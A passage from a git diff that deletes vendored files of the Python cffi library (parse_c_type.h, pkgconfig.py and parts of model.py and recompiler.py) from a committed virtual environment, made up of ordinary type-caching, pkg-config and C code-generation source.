backend is an instance of - # CTypesBackend (or some FakeBackend class during tests) - if isinstance(backend, types.ModuleType): - return _typecache_cffi_backend - with global_lock: - if not hasattr(type(backend), '__typecache'): - type(backend).__typecache = weakref.WeakValueDictionary() - return type(backend).__typecache - -def global_cache(srctype, ffi, funcname, *args, **kwds): - key = kwds.pop('key', (funcname, args)) - assert not kwds - try: - return ffi._typecache[key] - except KeyError: - pass - try: - res = getattr(ffi._backend, funcname)(*args) - except NotImplementedError as e: - raise NotImplementedError("%s: %r: %s" % (funcname, srctype, e)) - # note that setdefault() on WeakValueDictionary is not atomic - # and contains a rare bug (http://bugs.python.org/issue19542); - # we have to use a lock and do it ourselves - cache = ffi._typecache - with global_lock: - res1 = cache.get(key) - if res1 is None: - cache[key] = res - return res - else: - return res1 - -def pointer_cache(ffi, BType): - return global_cache('?', ffi, 'new_pointer_type', BType) - -def attach_exception_info(e, name): - if e.args and type(e.args[0]) is str: - e.args = ('%s: %s' % (name, e.args[0]),) + e.args[1:] diff --git a/venv/Lib/site-packages/cffi/parse_c_type.h b/venv/Lib/site-packages/cffi/parse_c_type.h deleted file mode 100644 index 84e4ef85659eb63e6453d8af9f024f1866182342..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/parse_c_type.h +++ /dev/null @@ -1,181 +0,0 @@ - -/* This part is from file 'cffi/parse_c_type.h'. It is copied at the - beginning of C sources generated by CFFI's ffi.set_source(). */ - -typedef void *_cffi_opcode_t; - -#define _CFFI_OP(opcode, arg) (_cffi_opcode_t)(opcode | (((uintptr_t)(arg)) << 8)) -#define _CFFI_GETOP(cffi_opcode) ((unsigned char)(uintptr_t)cffi_opcode) -#define _CFFI_GETARG(cffi_opcode) (((intptr_t)cffi_opcode) >> 8) - -#define _CFFI_OP_PRIMITIVE 1 -#define _CFFI_OP_POINTER 3 -#define _CFFI_OP_ARRAY 5 -#define _CFFI_OP_OPEN_ARRAY 7 -#define _CFFI_OP_STRUCT_UNION 9 -#define _CFFI_OP_ENUM 11 -#define _CFFI_OP_FUNCTION 13 -#define _CFFI_OP_FUNCTION_END 15 -#define _CFFI_OP_NOOP 17 -#define _CFFI_OP_BITFIELD 19 -#define _CFFI_OP_TYPENAME 21 -#define _CFFI_OP_CPYTHON_BLTN_V 23 // varargs -#define _CFFI_OP_CPYTHON_BLTN_N 25 // noargs -#define _CFFI_OP_CPYTHON_BLTN_O 27 // O (i.e. a single arg) -#define _CFFI_OP_CONSTANT 29 -#define _CFFI_OP_CONSTANT_INT 31 -#define _CFFI_OP_GLOBAL_VAR 33 -#define _CFFI_OP_DLOPEN_FUNC 35 -#define _CFFI_OP_DLOPEN_CONST 37 -#define _CFFI_OP_GLOBAL_VAR_F 39 -#define _CFFI_OP_EXTERN_PYTHON 41 - -#define _CFFI_PRIM_VOID 0 -#define _CFFI_PRIM_BOOL 1 -#define _CFFI_PRIM_CHAR 2 -#define _CFFI_PRIM_SCHAR 3 -#define _CFFI_PRIM_UCHAR 4 -#define _CFFI_PRIM_SHORT 5 -#define _CFFI_PRIM_USHORT 6 -#define _CFFI_PRIM_INT 7 -#define _CFFI_PRIM_UINT 8 -#define _CFFI_PRIM_LONG 9 -#define _CFFI_PRIM_ULONG 10 -#define _CFFI_PRIM_LONGLONG 11 -#define _CFFI_PRIM_ULONGLONG 12 -#define _CFFI_PRIM_FLOAT 13 -#define _CFFI_PRIM_DOUBLE 14 -#define _CFFI_PRIM_LONGDOUBLE 15 - -#define _CFFI_PRIM_WCHAR 16 -#define _CFFI_PRIM_INT8 17 -#define _CFFI_PRIM_UINT8 18 -#define _CFFI_PRIM_INT16 19 -#define _CFFI_PRIM_UINT16 20 -#define _CFFI_PRIM_INT32 21 -#define _CFFI_PRIM_UINT32 22 -#define _CFFI_PRIM_INT64 23 -#define _CFFI_PRIM_UINT64 24 -#define _CFFI_PRIM_INTPTR 25 -#define _CFFI_PRIM_UINTPTR 26 -#define _CFFI_PRIM_PTRDIFF 27 -#define _CFFI_PRIM_SIZE 28 -#define _CFFI_PRIM_SSIZE 29 -#define _CFFI_PRIM_INT_LEAST8 30 -#define _CFFI_PRIM_UINT_LEAST8 31 -#define _CFFI_PRIM_INT_LEAST16 32 -#define _CFFI_PRIM_UINT_LEAST16 33 -#define _CFFI_PRIM_INT_LEAST32 34 -#define _CFFI_PRIM_UINT_LEAST32 35 -#define _CFFI_PRIM_INT_LEAST64 36 -#define _CFFI_PRIM_UINT_LEAST64 37 -#define _CFFI_PRIM_INT_FAST8 38 -#define _CFFI_PRIM_UINT_FAST8 39 -#define _CFFI_PRIM_INT_FAST16 40 -#define _CFFI_PRIM_UINT_FAST16 41 -#define _CFFI_PRIM_INT_FAST32 42 -#define _CFFI_PRIM_UINT_FAST32 43 -#define _CFFI_PRIM_INT_FAST64 44 -#define _CFFI_PRIM_UINT_FAST64 45 -#define _CFFI_PRIM_INTMAX 46 -#define _CFFI_PRIM_UINTMAX 47 -#define _CFFI_PRIM_FLOATCOMPLEX 48 -#define _CFFI_PRIM_DOUBLECOMPLEX 49 -#define _CFFI_PRIM_CHAR16 50 -#define _CFFI_PRIM_CHAR32 51 - -#define _CFFI__NUM_PRIM 52 -#define _CFFI__UNKNOWN_PRIM (-1) -#define _CFFI__UNKNOWN_FLOAT_PRIM (-2) -#define _CFFI__UNKNOWN_LONG_DOUBLE (-3) - -#define _CFFI__IO_FILE_STRUCT (-1) - - -struct _cffi_global_s { - const char *name; - void *address; - _cffi_opcode_t type_op; - void *size_or_direct_fn; // OP_GLOBAL_VAR: size, or 0 if unknown - // OP_CPYTHON_BLTN_*: addr of direct function -}; - -struct _cffi_getconst_s { - unsigned long long value; - const struct _cffi_type_context_s *ctx; - int gindex; -}; - -struct _cffi_struct_union_s { - const char *name; - int type_index; // -> _cffi_types, on a OP_STRUCT_UNION - int flags; // _CFFI_F_* flags below - size_t size; - int alignment; - int first_field_index; // -> _cffi_fields array - int num_fields; -}; -#define _CFFI_F_UNION 0x01 // is a union, not a struct -#define _CFFI_F_CHECK_FIELDS 0x02 // complain if fields are not in the - // "standard layout" or if some are missing -#define _CFFI_F_PACKED 0x04 // for CHECK_FIELDS, assume a packed struct -#define _CFFI_F_EXTERNAL 0x08 // in some other ffi.include() -#define _CFFI_F_OPAQUE 0x10 // opaque - -struct _cffi_field_s { - const char *name; - size_t field_offset; - size_t field_size; - _cffi_opcode_t field_type_op; -}; - -struct _cffi_enum_s { - const char *name; - int type_index; // -> _cffi_types, on a OP_ENUM - int type_prim; // _CFFI_PRIM_xxx - const char *enumerators; // comma-delimited string -}; - -struct _cffi_typename_s { - const char *name; - int type_index; /* if opaque, points to a possibly artificial - OP_STRUCT which is itself opaque */ -}; - -struct _cffi_type_context_s { - _cffi_opcode_t *types; - const struct _cffi_global_s *globals; - const struct _cffi_field_s *fields; - const struct _cffi_struct_union_s *struct_unions; - const struct _cffi_enum_s *enums; - const struct _cffi_typename_s *typenames; - int num_globals; - int num_struct_unions; - int num_enums; - int num_typenames; - const char *const *includes; - int num_types; - int flags; /* future extension */ -}; - -struct _cffi_parse_info_s { - const struct _cffi_type_context_s *ctx; - _cffi_opcode_t *output; - unsigned int output_size; - size_t error_location; - const char *error_message; -}; - -struct _cffi_externpy_s { - const char *name; - size_t size_of_result; - void *reserved1, *reserved2; -}; - -#ifdef _CFFI_INTERNAL -static int parse_c_type(struct _cffi_parse_info_s *info, const char *input); -static int search_in_globals(const struct _cffi_type_context_s *ctx, - const char *search, size_t search_len); -static int search_in_struct_unions(const struct _cffi_type_context_s *ctx, - const char *search, size_t search_len); -#endif diff --git a/venv/Lib/site-packages/cffi/pkgconfig.py b/venv/Lib/site-packages/cffi/pkgconfig.py deleted file mode 100644 index e1034ad68a68e8be3b9d489a4a87f8f8bd08c6ad..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/pkgconfig.py +++ /dev/null @@ -1,121 +0,0 @@ -# pkg-config, https://www.freedesktop.org/wiki/Software/pkg-config/ integration for cffi -import sys, os, subprocess - -from .error import PkgConfigError - - -def merge_flags(cfg1, cfg2): - """Merge values from cffi config flags cfg2 to cf1 - - Example: - merge_flags({"libraries": ["one"]}, {"libraries": ["two"]}) - {"libraries": ["one", "two"]} - """ - for key, value in cfg2.items(): - if key not in cfg1: - cfg1[key] = value - else: - if not isinstance(cfg1[key], list): - raise TypeError("cfg1[%r] should be a list of strings" % (key,)) - if not isinstance(value, list): - raise TypeError("cfg2[%r] should be a list of strings" % (key,)) - cfg1[key].extend(value) - return cfg1 - - -def call(libname, flag, encoding=sys.getfilesystemencoding()): - """Calls pkg-config and returns the output if found - """ - a = ["pkg-config", "--print-errors"] - a.append(flag) - a.append(libname) - try: - pc = subprocess.Popen(a, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - except OSError as e: - raise PkgConfigError("cannot run pkg-config: %s" % (str(e).strip(),)) - - bout, berr = pc.communicate() - if pc.returncode != 0: - try: - berr = berr.decode(encoding) - except Exception: - pass - raise PkgConfigError(berr.strip()) - - if sys.version_info >= (3,) and not isinstance(bout, str): # Python 3.x - try: - bout = bout.decode(encoding) - except UnicodeDecodeError: - raise PkgConfigError("pkg-config %s %s returned bytes that cannot " - "be decoded with encoding %r:\n%r" % - (flag, libname, encoding, bout)) - - if os.altsep != '\\' and '\\' in bout: - raise PkgConfigError("pkg-config %s %s returned an unsupported " - "backslash-escaped output:\n%r" % - (flag, libname, bout)) - return bout - - -def flags_from_pkgconfig(libs): - r"""Return compiler line flags for FFI.set_source based on pkg-config output - - Usage - ... - ffibuilder.set_source("_foo", pkgconfig = ["libfoo", "libbar >= 1.8.3"]) - - If pkg-config is installed on build machine, then arguments include_dirs, - library_dirs, libraries, define_macros, extra_compile_args and - extra_link_args are extended with an output of pkg-config for libfoo and - libbar. - - Raises PkgConfigError in case the pkg-config call fails. - """ - - def get_include_dirs(string): - return [x[2:] for x in string.split() if x.startswith("-I")] - - def get_library_dirs(string): - return [x[2:] for x in string.split() if x.startswith("-L")] - - def get_libraries(string): - return [x[2:] for x in string.split() if x.startswith("-l")] - - # convert -Dfoo=bar to list of tuples [("foo", "bar")] expected by distutils - def get_macros(string): - def _macro(x): - x = x[2:] # drop "-D" - if '=' in x: - return tuple(x.split("=", 1)) # "-Dfoo=bar" => ("foo", "bar") - else: - return (x, None) # "-Dfoo" => ("foo", None) - return [_macro(x) for x in string.split() if x.startswith("-D")] - - def get_other_cflags(string): - return [x for x in string.split() if not x.startswith("-I") and - not x.startswith("-D")] - - def get_other_libs(string): - return [x for x in string.split() if not x.startswith("-L") and - not x.startswith("-l")] - - # return kwargs for given libname - def kwargs(libname): - fse = sys.getfilesystemencoding() - all_cflags = call(libname, "--cflags") - all_libs = call(libname, "--libs") - return { - "include_dirs": get_include_dirs(all_cflags), - "library_dirs": get_library_dirs(all_libs), - "libraries": get_libraries(all_libs), - "define_macros": get_macros(all_cflags), - "extra_compile_args": get_other_cflags(all_cflags), - "extra_link_args": get_other_libs(all_libs), - } - - # merge all arguments together - ret = {} - for libname in libs: - lib_flags = kwargs(libname) - merge_flags(ret, lib_flags) - return ret diff --git a/venv/Lib/site-packages/cffi/recompiler.py b/venv/Lib/site-packages/cffi/recompiler.py deleted file mode 100644 index 5e71aed9ac80972a4b8566bf51da02250f20ca9e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/recompiler.py +++ /dev/null @@ -1,1586 +0,0 @@ -import io, os, sys, sysconfig -from . import ffiplatform, model -from .error import VerificationError -from .cffi_opcode import * - -VERSION_BASE = 0x2601 -VERSION_EMBEDDED = 0x2701 -VERSION_CHAR16CHAR32 = 0x2801 - -FREE_THREADED_BUILD = sysconfig.get_config_var("Py_GIL_DISABLED") -USE_LIMITED_API = ((sys.platform != 'win32' or sys.version_info < (3, 0) or - sys.version_info >= (3, 5)) and - # free-threaded build doesn't support the stable ABI until Python 3.15 - (not FREE_THREADED_BUILD or sys.version_info >= (3, 15))) - -class GlobalExpr: - def __init__(self, name, address, type_op, size=0, check_value=0): - self.name = name - self.address = address - self.type_op = type_op - self.size = size - self.check_value = check_value - - def as_c_expr(self): - return ' { "%s", (void *)%s, %s, (void *)%s },' % ( - self.name, self.address, self.type_op.as_c_expr(), self.size) - - def as_python_expr(self): - return "b'%s%s',%d" % (self.type_op.as_python_bytes(), self.name, - self.check_value) - -class FieldExpr: - def __init__(self, name, field_offset, field_size, fbitsize, field_type_op): - self.name = name - self.field_offset = field_offset - self.field_size = field_size - self.fbitsize = fbitsize - self.field_type_op = field_type_op - - def as_c_expr(self): - spaces = " " * len(self.name) - return (' { "%s", %s,\n' % (self.name, self.field_offset) + - ' %s %s,\n' % (spaces, self.field_size) + - ' %s %s },' % (spaces, self.field_type_op.as_c_expr())) - - def as_python_expr(self): - raise NotImplementedError - - def as_field_python_expr(self): - if self.field_type_op.op == OP_NOOP: - size_expr = '' - elif self.field_type_op.op == OP_BITFIELD: - size_expr = format_four_bytes(self.fbitsize) - else: - raise NotImplementedError - return "b'%s%s%s'" % (self.field_type_op.as_python_bytes(), - size_expr, - self.name) - -class StructUnionExpr: - def __init__(self, name, type_index, flags, size, alignment, comment, - first_field_index, c_fields): - self.name = name - self.type_index = type_index - self.flags = flags - self.size = size - self.alignment = alignment - self.comment = comment - self.first_field_index = first_field_index - self.c_fields = c_fields - - def as_c_expr(self): - return (' { "%s", %d, %s,' % (self.name, self.type_index, self.flags) - + '\n %s, %s, ' % (self.size, self.alignment) - + '%d, %d ' % (self.first_field_index, len(self.c_fields)) - + ('/* %s */ ' % self.comment if self.comment else '') - + '},') - - def as_python_expr(self): - flags = eval(self.flags, G_FLAGS) - fields_expr = [c_field.as_field_python_expr() - for c_field in self.c_fields] - return "(b'%s%s%s',%s)" % ( - format_four_bytes(self.type_index), - format_four_bytes(flags), - self.name, - ','.join(fields_expr)) - -class EnumExpr: - def __init__(self, name, type_index, size, signed, allenums): - self.name = name - self.type_index = type_index - self.size = size - self.signed = signed - self.allenums = allenums - - def as_c_expr(self): - lines = [' { "%s", %d, _cffi_prim_int(%s, %s),' % (self.name, self.type_index, - self.size, self.signed,)] - pending = 0 - while len(self.allenums) > pending + 110: - j = self.allenums.find(',', pending + 100) - if j < 0: - break - j += 1 - lines.append(' "%s"' % (self.allenums[pending:j],)) - pending = j - lines.append(' "%s" },' % (self.allenums[pending:],)) - return '\n'.join(lines) - - def as_python_expr(self): - prim_index = { - (1, 0): PRIM_UINT8, (1, 1): PRIM_INT8, - (2, 0): PRIM_UINT16, (2, 1): PRIM_INT16, - (4, 0): PRIM_UINT32, (4, 1): PRIM_INT32, - (8, 0): PRIM_UINT64, (8, 1): PRIM_INT64, - }[self.size, self.signed] - return "b'%s%s%s\\x00%s'" % (format_four_bytes(self.type_index), - format_four_bytes(prim_index), - self.name, self.allenums) - -class TypenameExpr: - def __init__(self, name, type_index): - self.name = name - self.type_index = type_index - - def as_c_expr(self): - return ' { "%s", %d },' % (self.name, self.type_index) - - def as_python_expr(self): - return "b'%s%s'" % (format_four_bytes(self.type_index), self.name) - - -# ____________________________________________________________ - - -class Recompiler: - _num_externpy = 0 - - def __init__(self, ffi, module_name, target_is_python=False): - self.ffi = ffi - self.module_name = module_name - self.target_is_python = target_is_python - self._version = VERSION_BASE - - def needs_version(self, ver): - self._version = max(self._version, ver) - - def collect_type_table(self): - self._typesdict = {} - self._generate("collecttype") - # - all_decls = sorted(self._typesdict, key=str) - # - # prepare all FUNCTION bytecode sequences first - self.cffi_types = [] - for tp in all_decls: - if tp.is_raw_function: - assert self._typesdict[tp] is None - self._typesdict[tp] = len(self.cffi_types) - self.cffi_types.append(tp) # placeholder - for tp1 in tp.args: - assert isinstance(tp1, (model.VoidType, - model.BasePrimitiveType, - model.PointerType, - model.StructOrUnionOrEnum, - model.FunctionPtrType)) - if self._typesdict[tp1] is None: - self._typesdict[tp1] = len(self.cffi_types) - self.cffi_types.append(tp1) # placeholder - self.cffi_types.append('END') # placeholder - # - # prepare all OTHER bytecode sequences - for tp in all_decls: - if not tp.is_raw_function and self._typesdict[tp] is None: - self._typesdict[tp] = len(self.cffi_types) - self.cffi_types.append(tp) # placeholder - if tp.is_array_type and tp.length is not None: - self.cffi_types.append('LEN') # placeholder - assert None not in self._typesdict.values() - # - # collect all structs and unions and enums - self._struct_unions = {} - self._enums = {} - for tp in all_decls: - if isinstance(tp, model.StructOrUnion): - self._struct_unions[tp] = None - elif isinstance(tp, model.EnumType): - self._enums[tp] = None - for i, tp in enumerate(sorted(self._struct_unions, - key=lambda tp: tp.name)): - self._struct_unions[tp] = i - for i, tp in enumerate(sorted(self._enums, - key=lambda tp: tp.name)): - self._enums[tp] = i - # - # emit all bytecode sequences now - for tp in all_decls: - method = getattr(self, '_emit_bytecode_' + tp.__class__.__name__) - method(tp, self._typesdict[tp]) - # - # consistency check - for op in self.cffi_types: - assert isinstance(op, CffiOp) - self.cffi_types = tuple(self.cffi_types) # don't change any more - - def _enum_fields(self, tp): - # When producing C, expand all anonymous struct/union fields. - # That's necessary to have C code checking the offsets of the - # individual fields contained in them. When producing Python, - # don't do it and instead write it like it is, with the - # corresponding fields having an empty name. Empty names are - # recognized at runtime when we import the generated Python - # file. - expand_anonymous_struct_union = not self.target_is_python - return tp.enumfields(expand_anonymous_struct_union) - - def _do_collect_type(self, tp): - if not isinstance(tp, model.BaseTypeByIdentity): - if isinstance(tp, tuple): - for x in tp: - self._do_collect_type(x) - return - if tp not in self._typesdict: - self._typesdict[tp] = None - if isinstance(tp, model.FunctionPtrType): - self._do_collect_type(tp.as_raw_function()) - elif isinstance(tp, model.StructOrUnion): - if tp.fldtypes is not None and ( - tp not in self.ffi._parser._included_declarations): - for name1, tp1, _, _ in self._enum_fields(tp): - self._do_collect_type(self._field_type(tp, name1, tp1)) - else: - for _, x in tp._get_items(): - self._do_collect_type(x) - - def _generate(self, step_name): - lst = self.ffi._parser._declarations.items() - for name, (tp, quals) in sorted(lst): - kind, realname = name.split(' ', 1) - try: - method = getattr(self, '_generate_cpy_%s_%s' % (kind, - step_name)) - except AttributeError: - raise VerificationError( - "not implemented in recompile(): %r" % name) - try: - self._current_quals = quals - method(tp, realname) - except Exception as e: - model.attach_exception_info(e, name) - raise - - # ---------- - - ALL_STEPS = ["global", "field", "struct_union", "enum", "typename"] - - def collect_step_tables(self): - # collect the declarations for '_cffi_globals', '_cffi_typenames', etc. - self._lsts = {} - for step_name in self.ALL_STEPS: - self._lsts[step_name] = [] - self._seen_struct_unions = set() - self._generate("ctx") - self._add_missing_struct_unions() - # - for step_name in self.ALL_STEPS: - lst = self._lsts[step_name] - if step_name != "field": - lst.sort(key=lambda entry: entry.name) - self._lsts[step_name] = tuple(lst) # don't change any more - # - # check for a possible internal inconsistency: _cffi_struct_unions - # should have been generated with exactly self._struct_unions - lst = self._lsts["struct_union"] - for tp, i in self._struct_unions.items(): - assert i < len(lst) - assert lst[i].name == tp.name - assert len(lst) == len(self._struct_unions) - # same with enums - lst = self._lsts["enum"] - for tp, i in self._enums.items(): - assert i < len(lst) - assert lst[i].name == tp.name - assert len(lst) == len(self._enums) - - # ---------- - - def _prnt(self, what=''): - self._f.write(what + '\n') - - def write_source_to_f(self, f, preamble): - if self.target_is_python: - assert preamble is None - self.write_py_source_to_f(f) - else: - assert preamble is not None - self.write_c_source_to_f(f, preamble) - - def _rel_readlines(self, filename): - with open(os.path.join(os.path.dirname(__file__), filename), 'r') as g: - return g.readlines() - - def write_c_source_to_f(self, f, preamble): - self._f = f - prnt = self._prnt - if self.ffi._embedding is not None: - prnt('#define _CFFI_USE_EMBEDDING') - if not USE_LIMITED_API: - prnt('#define _CFFI_NO_LIMITED_API') - # - # first the '#include' (actually done by inlining the file's content) - lines = self._rel_readlines('_cffi_include.h') - i = lines.index('#include "parse_c_type.h"\n') - lines[i:i+1] = self._rel_readlines('parse_c_type.h') - prnt(''.join(lines)) - # - # if we have ffi._embedding != None, we give it here as a macro - # and include an extra file - base_module_name = self.module_name.split('.')[-1] - if self.ffi._embedding is not None: - prnt('#define _CFFI_MODULE_NAME "%s"' % (self.module_name,)) - prnt('static const char _CFFI_PYTHON_STARTUP_CODE[] = {') - self._print_string_literal_in_array(self.ffi._embedding) - prnt('0 };') - prnt('#ifdef PYPY_VERSION') - prnt('# define _CFFI_PYTHON_STARTUP_FUNC _cffi_pypyinit_%s' % ( - base_module_name,)) - prnt('#else') - prnt('# define _CFFI_PYTHON_STARTUP_FUNC PyInit_%s' % ( - base_module_name,)) - prnt('#endif') - lines = self._rel_readlines('_embedding.h') - i = lines.index('#include "_cffi_errors.h"\n') - lines[i:i+1] = self._rel_readlines('_cffi_errors.h') - prnt(''.join(lines)) - self.needs_version(VERSION_EMBEDDED) - # - # then paste the C source given by the user, verbatim. - prnt('/************************************************************/') - prnt() - prnt(preamble) - prnt() - prnt('/************************************************************/') - prnt() - # - # the declaration of '_cffi_types' - prnt('static void *_cffi_types[] = {') - typeindex2type = dict([(i, tp) for (tp, i) in self._typesdict.items()]) - for i, op in enumerate(self.cffi_types): - comment = '' - if i in typeindex2type: - comment = ' // ' + typeindex2type[i]._get_c_name() - prnt('/* %2d */ %s,%s' % (i, op.as_c_expr(), comment)) - if not self.cffi_types: - prnt(' 0') - prnt('};') - prnt() - # - # call generate_cpy_xxx_decl(), for every xxx found from - # ffi._parser._declarations. This generates all the functions. - self._seen_constants = set() - self._generate("decl") - # - # the declaration of '_cffi_globals' and '_cffi_typenames' - nums = {} - for step_name in self.ALL_STEPS: - lst = self._lsts[step_name] - nums[step_name] = len(lst) - if nums[step_name] > 0: - prnt('static const struct _cffi_%s_s _cffi_%ss[] = {' % ( - step_name, step_name)) - for entry in lst: - prnt(entry.as_c_expr()) - prnt('};') - prnt() - # - # the declaration of '_cffi_includes' - if self.ffi._included_ffis: - prnt('static const char * const _cffi_includes[] = {') - for ffi_to_include in self.ffi._included_ffis: - try: - included_module_name, included_source = ( - ffi_to_include._assigned_source[:2]) - except AttributeError: - raise VerificationError( - "ffi object %r includes %r, but the latter has not " - "been prepared with set_source()" % ( - self.ffi, ffi_to_include,)) - if included_source is None: - raise VerificationError( - "not implemented yet: ffi.include() of a Python-based " - "ffi inside a C-based ffi") - prnt(' "%s",' % (included_module_name,)) - prnt(' NULL') - prnt('};') - prnt() - # - # the declaration of '_cffi_type_context' - prnt('static const struct _cffi_type_context_s _cffi_type_context = {') - prnt(' _cffi_types,') - for step_name in self.ALL_STEPS: - if nums[step_name] > 0: - prnt(' _cffi_%ss,' % step_name) - else: - prnt(' NULL, /* no %ss */' % step_name) - for step_name in self.ALL_STEPS: - if step_name != "field": - prnt(' %d, /* num_%ss */' % (nums[step_name], step_name)) - if self.ffi._included_ffis: - prnt(' _cffi_includes,') - else: - prnt(' NULL, /* no includes */') - prnt(' %d, /* num_types */' % (len(self.cffi_types),)) - flags = 0 - if self._num_externpy > 0 or self.ffi._embedding is not None: - flags |= 1 # set to mean that we use extern "Python" - prnt(' %d, /* flags */' % flags) - prnt('};') - prnt() - # - # the init function - prnt('#ifdef __GNUC__') - prnt('# pragma GCC visibility push(default) /* for -fvisibility= */') - prnt('#endif') - prnt() - prnt('#ifdef PYPY_VERSION') - prnt('PyMODINIT_FUNC') - prnt('_cffi_pypyinit_%s(const void *p[])' % (base_module_name,)) - prnt('{') - if flags & 1: - prnt(' if (((intptr_t)p[0]) >= 0x0A03) {') - prnt(' _cffi_call_python_org = ' - '(void(*)(struct _cffi_externpy_s *, char *))p[1];') - prnt(' }') - prnt(' p[0] = (const void *)0x%x;' % self._version) - prnt(' p[1] = &_cffi_type_context;') - prnt(' return NULL;') - prnt('}') - # on Windows, distutils insists on putting init_cffi_xyz in - # 'export_symbols', so instead of fighting it, just give up and - # give it one - prnt('# ifdef _MSC_VER') - prnt(' PyMODINIT_FUNC') - prnt(' PyInit_%s(void) { return NULL; }' % (base_module_name,)) - prnt('# endif') - prnt('#else') - prnt('PyMODINIT_FUNC') - prnt('PyInit_%s(void)' % (base_module_name,)) - prnt('{') - prnt(' return _cffi_init("%s", 0x%x, &_cffi_type_context);' % ( - self.module_name, self._version)) - prnt('}') - prnt('#endif') - prnt() - prnt('#ifdef __GNUC__') - prnt('# pragma GCC visibility pop') - prnt('#endif') - self._version = None - - def _to_py(self, x): - if isinstance(x, str): - return "b'%s'" % (x,) - if isinstance(x, (list, tuple)): - rep = [self._to_py(item) for item in x] - if len(rep) == 1: - rep.append('') - return "(%s)" % (','.join(rep),) - return x.as_python_expr() # Py2: unicode unexpected; Py3: bytes unexp. - - def write_py_source_to_f(self, f): - self._f = f - prnt = self._prnt - # - # header - prnt("# auto-generated file") - prnt("import _cffi_backend") - # - # the 'import' of the included ffis - num_includes = len(self.ffi._included_ffis or ()) - for i in range(num_includes): - ffi_to_include = self.ffi._included_ffis[i] - try: - included_module_name, included_source = ( - ffi_to_include._assigned_source[:2]) - except AttributeError: - raise VerificationError( - "ffi object %r includes %r, but the latter has not " - "been prepared with set_source()" % ( - self.ffi, ffi_to_include,)) - if included_source is not None: - raise VerificationError( - "not implemented yet: ffi.include() of a C-based " - "ffi inside a Python-based ffi") - prnt('from %s import ffi as _ffi%d' % (included_module_name, i)) - prnt() - prnt("ffi = _cffi_backend.FFI('%s'," % (self.module_name,)) - prnt(" _version = 0x%x," % (self._version,)) - self._version = None - # - # the '_types' keyword argument - self.cffi_types = tuple(self.cffi_types) # don't change any more - types_lst = [op.as_python_bytes() for op in self.cffi_types] - prnt(' _types = %s,' % (self._to_py(''.join(types_lst)),)) - typeindex2type = dict([(i, tp) for (tp, i) in self._typesdict.items()]) - # - # the keyword arguments from ALL_STEPS - for step_name in self.ALL_STEPS: - lst = self._lsts[step_name] - if len(lst) > 0 and step_name != "field": - prnt(' _%ss = %s,' % (step_name, self._to_py(lst))) - # - # the '_includes' keyword argument - if num_includes > 0: - prnt(' _includes = (%s,),' % ( - ', '.join(['_ffi%d' % i for i in range(num_includes)]),)) - # - # the footer - prnt(')') - - # ---------- - - def _gettypenum(self, type): - # a KeyError here is a bug. please report it! :-) - return self._typesdict[type] - - def _convert_funcarg_to_c(self, tp, fromvar, tovar, errcode): - extraarg = '' - if isinstance(tp, model.BasePrimitiveType) and not tp.is_complex_type(): - if tp.is_integer_type() and tp.name != '_Bool': - converter = '_cffi_to_c_int' - extraarg = ', %s' % tp.name - elif isinstance(tp, model.UnknownFloatType): - # don't check with is_float_type(): it may be a 'long - # double' here, and _cffi_to_c_double would loose precision - converter = '(%s)_cffi_to_c_double' % (tp.get_c_name(''),) - else: - cname = tp.get_c_name('') - converter = '(%s)_cffi_to_c_%s' % (cname, - tp.name.replace(' ', '_')) - if cname in ('char16_t', 'char32_t'): - self.needs_version(VERSION_CHAR16CHAR32) - errvalue = '-1' - # - elif isinstance(tp, model.PointerType): - self._convert_funcarg_to_c_ptr_or_array(tp, fromvar, - tovar, errcode) - return - # - elif (isinstance(tp, (model.StructOrUnionOrEnum, model.BasePrimitiveType))): - # a struct (not a struct pointer) as a function argument; - # or, a complex (the same code works) - self._prnt(' if (_cffi_to_c((char *)&%s, _cffi_type(%d), %s) < 0)' - % (tovar, self._gettypenum(tp), fromvar)) - self._prnt(' %s;' % errcode) - return - # - elif isinstance(tp, model.FunctionPtrType): - converter = '(%s)_cffi_to_c_pointer' % tp.get_c_name('') - extraarg = ', _cffi_type(%d)' % self._gettypenum(tp) - errvalue = 'NULL' - # - else: - raise NotImplementedError(tp) - # - self._prnt(' %s = %s(%s%s);' % (tovar, converter, fromvar, extraarg)) - self._prnt(' if (%s == (%s)%s && PyErr_Occurred())' % ( - tovar, tp.get_c_name(''), errvalue)) - self._prnt(' %s;' % errcode) - - def _extra_local_variables(self, tp, localvars, freelines): - if isinstance(tp, model.PointerType): - localvars.add('Py_ssize_t datasize') - localvars.add('struct _cffi_freeme_s *large_args_free = NULL') - freelines.add('if (large_args_free != NULL)' - ' _cffi_free_array_arguments(large_args_free);') - - def _convert_funcarg_to_c_ptr_or_array(self, tp, fromvar, tovar, errcode): - self._prnt(' datasize = _cffi_prepare_pointer_call_argument(') - self._prnt(' _cffi_type(%d), %s, (char **)&%s);' % ( - self._gettypenum(tp), fromvar, tovar)) - self._prnt(' if (datasize != 0) {') - self._prnt(' %s = ((size_t)datasize) <= 640 ? ' - '(%s)alloca((size_t)datasize) : NULL;' % ( - tovar, tp.get_c_name(''))) - self._prnt(' if (_cffi_convert_array_argument(_cffi_type(%d), %s, ' - '(char **)&%s,' % (self._gettypenum(tp), fromvar, tovar)) - self._prnt(' datasize, &large_args_free) < 0)') - self._prnt(' %s;' % errcode) - self._prnt(' }') - - def _convert_expr_from_c(self, tp, var, context): - if isinstance(tp, model.BasePrimitiveType): - if tp.is_integer_type() and tp.name != '_Bool': - return '_cffi_from_c_int(%s, %s)' % (var, tp.name) - elif isinstance(tp, model.UnknownFloatType): - return '_cffi_from_c_double(%s)' % (var,) - elif tp.name != 'long double' and not tp.is_complex_type(): - cname = tp.name.replace(' ', '_') - if cname in ('char16_t', 'char32_t'): - self.needs_version(VERSION_CHAR16CHAR32) - return '_cffi_from_c_%s(%s)' % (cname, var) - else: - return '_cffi_from_c_deref((char *)&%s, _cffi_type(%d))' % ( - var, self._gettypenum(tp)) - elif isinstance(tp, (model.PointerType, model.FunctionPtrType)): - return '_cffi_from_c_pointer((char *)%s, _cffi_type(%d))' % ( - var, self._gettypenum(tp)) - elif isinstance(tp, model.ArrayType): - return '_cffi_from_c_pointer((char *)%s, _cffi_type(%d))' % ( - var, self._gettypenum(model.PointerType(tp.item))) - elif isinstance(tp, model.StructOrUnion): - if tp.fldnames is None: - raise TypeError("'%s' is used as %s, but is opaque" % ( - tp._get_c_name(), context)) - return '_cffi_from_c_struct((char 